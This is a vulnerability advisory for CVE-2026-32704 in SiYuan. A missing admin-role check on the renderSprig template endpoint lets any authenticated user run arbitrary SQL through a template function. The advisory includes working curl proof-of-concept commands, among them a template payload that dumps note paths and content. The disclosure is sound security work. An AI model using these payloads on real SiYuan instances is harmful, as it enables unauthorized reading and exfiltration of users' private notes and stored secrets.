CVE-2026-32704

Description

### Summary `POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. ### Details **File:** `kernel/api/router.go` Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`: ```go // Missing CheckAdminRole ginServer.Handle("POST", "/api/template/renderSprig", model.CheckAuth, renderSprig) // Correct pattern used by all other data endpoints ginServer.Handle("POST", "/api/template/render", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate) ``` `renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`: ```go (*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) { ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check return } ``` Any authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries. ### PoC **Environment:** ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```bash # Step 1: Login and retrieve API token curl -s -X POST http://localhost:6806/api/system/loginAuth \ -H "Content-Type: application/json" \ -d '{"authCode":"test123"}' -c /tmp/siy.cookie sleep 15 # wait for boot TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \ -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])") # Step 2: Execute SQL as non-admin user curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}' ``` **Confirmed response on v3.6.0:** ```json {"code":0,"msg":"","data":"[{\"n\":0}]"} ``` **Full note dump:** ```bash curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}' ``` ### Impact Any authenticated user (API token holder, Publish Service Reader) can: - Dump **all note content** and document hierarchy from the workspace - Exfiltrate tags, custom attributes, block IDs, and timestamps - Search notes for stored passwords, API keys, or personal data - Enumerate all notebooks and their structure This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

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